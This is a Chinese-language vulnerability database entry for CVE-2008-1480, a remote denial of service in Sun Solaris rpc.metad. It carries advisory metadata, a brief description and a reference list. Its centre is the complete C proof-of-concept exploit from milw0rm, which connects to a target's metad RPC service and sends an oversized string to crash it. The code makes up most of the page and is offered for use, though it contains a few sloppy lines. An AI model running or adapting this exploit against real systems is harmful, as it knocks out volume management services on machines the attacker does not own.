Sun Solaris rpc.metad远程拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1114773 漏洞类型 设计错误
发布时间 2008-03-14 更新时间 2009-01-22
CVE编号 CVE-2008-1480 CNNVD-ID CNNVD-200803-389
漏洞平台 Solaris CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/5258
https://www.securityfocus.com/bid/28261
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200803-389
|漏洞详情
Solaris是一款由Sun开发和维护的商业性质UNIX操作系统。如果远程攻击者向Solaris提交了恶意RPC请求的话,就会导致rpc.metad(1M)崩溃,服务和Solaris卷标管理器(SVM)命令会失效,这是一种拒绝服务。
|漏洞EXP
/*##########################################################*/
/*## SunOS 5.10 Sun Cluster rpc.metad DoS PoC              #*/
/*## causes DoS on rpc.metad                     	   #*/
/*## (C) 2008 - Kingcope                                   #*/
/*##########################################################*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

extern int optarg;

#define METAD_PROG 100229
#define METAD_VERS 2
#define METAD_FUNC 6

typedef struct{char *string;}req_t;

bool_t xdr_req(XDR *xdrs,req_t *obj){
    if(!xdr_string(xdrs,&obj->string,~0)) return(FALSE);
    return(TRUE);
}

main(int argc,char **argv){
    char buffer[30000],address[4],*b,*cmd;
    int i,c,n,flag=1,vers=0,port=0,sck;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req_t req;

    printf("rpc.metad for solaris 10\n\n");

    if(argc<2){
        printf("usage: %s address\n",argv[0]);
        exit(-1);
    }

    printf("Using version %d and request no. %d!!\n", METAD_VERS, METAD_FUNC);

    printf("timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
    fflush(stdout);

    adr.sin_family=AF_INET;
    adr.sin_port=htons(port);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror("error");exit(-1);
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }

    sck=RPC_ANYSOCK;
    if(!(cl=clnttcp_create(&adr,METAD_PROG,METAD_VERS,&sck,0,0))){
        clnt_pcreateerror("error");exit(-1);
    }
    cl->cl_auth=authunix_create("localhost",0,0,0,NULL);

    memset(buffer, 'A', sizeof(buffer)); //buffer can also be small,this is not a bufover
    buffer[3000]=0;

    req.string=buffer;

    stat=clnt_call(cl,METAD_FUNC,xdr_req,&req,xdr_void,NULL,tm);
    if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");
    printf("sent!\n"); /* if(!flag) exit(0);*/

    }
}

// milw0rm.com [2008-03-14]
|受影响的产品
Sun Solaris 9_x86 Sun Solaris 9_sparc Sun Solaris 9 Sun Solaris 10_x86 Sun Solaris 10_sparc Sun Solaris 10.0_x86 Sun Solaris 10.0 Sun So
|参考资料

来源:XF
名称:solaris-rpcmetad-dos(41224)
链接:http://xforce.iss.net/xforce/xfdb/41224
来源:BID
名称:28261
链接:http://www.securityfocus.com/bid/28261
来源:MILW0RM
名称:5258
链接:http://www.milw0rm.com/exploits/5258
来源:VUPEN
名称:ADV-2009-0206
链接:http://www.frsirt.com/english/advisories/2009/0206
来源:VUPEN
名称:ADV-2008-0918
链接:http://www.frsirt.com/english/advisories/2008/0918/references
来源:support.avaya.com
链接:http://support.avaya.com/elmodocs2/security/ASA-2009-015.htm
来源:SUNALERT
名称:249146
链接:http://sunsolve.sun.com/search/document.do?assetkey=1-26-249146-1
来源:SECUNIA
名称:29418
链接:http://secunia.com/advisories/29418
来源:SECTRACK
名称:1019652
链接:http://www.securitytracker.com/id?1019652